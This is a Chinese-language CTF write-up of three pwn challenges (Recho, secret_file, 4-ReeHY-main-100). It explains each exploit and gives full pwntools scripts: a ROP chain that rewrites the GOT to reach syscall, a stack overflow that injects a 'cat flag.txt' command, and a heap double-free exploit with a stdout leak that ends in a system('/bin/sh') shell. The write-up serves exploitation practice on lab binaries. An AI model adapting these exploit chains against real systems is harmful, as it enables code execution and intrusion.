Recho：
这种类型的题目我也是第一次碰见，故记录一些知识点。这题我碰到3个比较难受的坑：
- 不知道怎么结束while循环。我原本的想法是输入一些特殊的字符迫使它读入的字符数为0，结果怎么试发现都能正常读入。不得以去网上看了一下别人的博客，发现pwntools居然有p.shutdown('send')这个功能。据大佬的说法是可以关闭输入流从而强制退出循环。（其实我也不太明白，有知道的大佬可以评论说下）
- 第二个就是文件描述符，正常的思路调用open("flag", 0)后会把返回的文件描述符存放在rax寄存器中，接下来调用read(fd, buf, size)函数肯定要把rax中的值传入到rdi中，结果无论我怎么找都找不到可以利用的代码段。苦思无果后我突然意识到stdin, stdout, stderr这三个标准I/O是自动打开的，文件描述符分别是0，1，2。如果没有别的文件被打开那我们调用open("flag", 0)返回的文件描述符是3。我们提交题目的靶机环境比较简单，说不定还真可以。后来一试，成功了。不得不说在这卡了很久真的挺蛋疼的。
- 第三个就是最后调用printf("%s", buf)打印flag时总是失败，不得以调试跟踪了一遍printf()函数调用过程，发现是rax没清零导致调用失败，真的是一波三折啊。
这道题的利用思路是：
- 先调用open("flag", 0)函数打开flag文件
- 调用read(fd, buf, size)函数把flag写到一段我们可以控制的内存中，一般是bss段
- 调用printf("%s", buf)把flag打印出来
由于题目给的二进制文件中并不包含open函数，所以我们可以考虑系统调用。open函数的系统掉用号为2。函数read，alarm，write都是系统调用函数，所以不出意外我们可以找到系统调用所需的syscall。
用ROPgadget分析一下找到可以利用的代码段：
所以我们可以改写alarm函数got表中的值为syscall的地址：
- 先pop rdi控制寄存器中的值为0x601028
- pop rax控制rax寄存器的值为5
- add byte ptr [rdi], al改写got表
至于为什么加5读者可自行跟踪调试alarm函数观察
最终的exp如下：
#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./773a2d87b17749b595ffb937b4d29936')
#p = remote('111.198.29.45', 42251)
elf = ELF('773a2d87b17749b595ffb937b4d29936')
p.recvuntil('server!
')
p.sendline('500')
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
pop_rdi_addr = 0x4008a3
pop_rsi_r15_addr = 0x4008a1
start_addr = 0x400630
printf_plt = elf.plt['printf']
add_rdi_ret = 0x40070d
pop_rax_ret = 0x4006fc
pop_rdx_ret = 0x4006fe
bss_addr = 0x601090
read_plt = elf.plt['read']
payload = 'A'*0x30 + 'A'*8 + p64(pop_rdi_addr) + p64(alarm_got) + p64(pop_rax_ret) + p64(5) + p64(add_rdi_ret) ##改写alarm_got
payload += p64(pop_rdi_addr) + p64(0x601058) + p64(pop_rsi_r15_addr) + p64(0) + p64(start_addr) + p64(pop_rax_ret) + p64(2) + p64(alarm_plt) ## open("flag", 0)
payload += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_r15_addr) + p64(bss_addr) + p64(0) + p64(pop_rdx_ret) + p64(60) + p64(pop_rax_ret) + p64(0) + p64(alarm_plt) ## read()
payload += p64(pop_rdi_addr) + p64(0x4008de) + p64(pop_rsi_r15_addr) + p64(bss_addr) + p64(start_addr) + p64(pop_rax_ret) + p64(0) + p64(printf_plt) ##调用printf函数打印flag，p64(pop_rax_ret) + p64(0) 是为了保证调用printf成功
payload = payload.ljust(500, 'x00')
info(len(payload))
p.send(payload)
p.shutdown('send')
p.interactive()
secret_file:
程序没有限制输入的长度，所以可以覆盖v14为cat flag.txt，覆盖v15为sha256加密后的值就可以拿到flag
exp如下：
from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) #p = process('./d2bc59264cc24b5ab2e5357c058de6d7') p = remote('159.138.137.79', 65233) payload = 'A'*0x100 + 'cat flag.txt' + ';' + 'A'*14 v15 = 'x65x30x37x35x66x32x66x35' v15 += 'x31x63x61x64x32x33x64x30' v15 += 'x35x33x37x31x38x36x63x66' v15 += 'x63x64x35x30x66x39x31x31' v15 += 'x65x61x39x35x34x66x39x63' v15 += 'x32x65x33x32x61x34x33x37' v15 += 'x66x34x35x33x32x37x66x31' v15 += 'x62x37x38x39x39x62x62x62' payload += v15 p.sendline(payload) p.interactive()
4-ReeHY-main-100:
题外：
最近刷的题逐渐暴露出我的不足，在题目比较复杂时，我总是稍有思路就开始动手，这样做的后果就是考虑不周全导致频繁的修改代码。这样不仅会浪费大量时间，还会让自己逐渐失去耐心，越写越烦，希望接下来可以改掉这个毛病
查看程序的保护：
发现程序只有数据执行保护。分析程序发现在free时没有检查是否free过，可以double free，如下：
第二个是在add时先把数据写入栈中，在memcpy到堆中，这可以利用原有栈中的数据把堆分配到stderr附近达到泄漏libc的目的。
这里有个挺大的坑的。就是我刚开始是把stdout的flag的值覆盖为0xfbad1800, 因为memcpy会在拷贝时把_IO_write_base即以后的值覆盖掉，在puts时就会调用失败。这里有个新的姿势就是把flag的值覆盖为0xfbad3c80，在调用fflush就会把破坏的stdout恢复，就可以结接下来的利用。
最后我是把堆分配到bss附近控制存放堆指针的地方，最后实现got表改写，完整exp如下：
from pwn import * context(os = 'linux', arch = 'amd64', terminal = ['tmux', 'splitw', '-h']) elf = ELF('4-ReeHY-main') #libc = ELF('ctflibc.so.6') libc = elf.libc def Add(size, index, content, p): p.sendlineafter('$ ', '1') p.sendlineafter('Input size', str(size)) p.sendlineafter('Input cun', str(index)) p.sendafter('Input content', content) def Free(index, p): p.sendlineafter('$ ', '2') p.sendlineafter('Chose one to dele ', str(index)) def Edit(index, content, p): p.sendlineafter('$ ', '3') p.sendlineafter('Chose one to edit', str(index)) p.sendafter('Input the content', content) def exploit(p): p.sendlineafter('$ ', 'yuanzuchao') #p = remote('159.138.137.79', 51557) Add(0x68, 0, 'A'*0x68, p) Add(0x68, 1, 'A'*0x68, p) Free(0, p) Free(1, p) Free(0, p) Add(0x68, 2, 'xddx25', p) Add(0x68, 1, 'AAAAAAAA', p) Add(0x68, 3, 'x00x00', p) payload = 'x00'*0x2b + p64(0) + p64(0xfbad3c80) + p64(0)*3 + 'x00' Add(0x60, 4, payload, p) payload = 'x00'*0x2b + p64(0) + p64(0xfbad1800) + p64(0)*3 + 'x00' Edit(4, payload, p) stdin = u64(p.recvuntil('x01x00x00x00x00x00x00x00xffxffxffxffxffxffxffxff', drop = True)[-8:]) info("stdin ==> " + hex(stdin)) libc_base = stdin - 0x3c48e0 info("libc_base ==> " + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] info("system ==> " + hex(system_addr)) #Free(2) #Free(1) #Free(3) p.sendlineafter('$ ', '2') p.sendlineafter('Chose one to dele', str(2)) p.sendlineafter('$ ', '2') p.sendlineafter('Chose one to dele', str(1)) p.sendlineafter('$ ', '2') p.sendlineafter('Chose one to dele', str(3)) Add(0x68, 3, p64(0x60208d) + 'x00'*0x60, p) Add(0x68, 1, 'AAAAAA', p) Add(0x68, 2, 'AAAAAA', p) payload = 'x00x00x00' + p64(0) + p64(0x300000000) payload += p64(0)*2 payload += p64(0x6020e0) + p64(0) payload += p64(0)*2 payload += p64(0x602058) + p64(1) Add(0x68, 0, payload, p) payload = 'x00x00x00' + p64(0) + p64(0) payload += p64(0)*2 payload += p64(0x6020e0) + p64(0) payload += p64(0)*2 payload += p64(0x602058) + p64(1) Edit(0, payload, p) Edit(0, p64(system_addr), p) p.sendlineafter('$ ', '/bin/shx00') p.interactive() if __name__ == '__main__': while True: p = process('./4-ReeHY-main') #p = remote('159.138.137.79', 52063) try: exploit(p) except Exception as e: info(e) info("Failed!") p.close()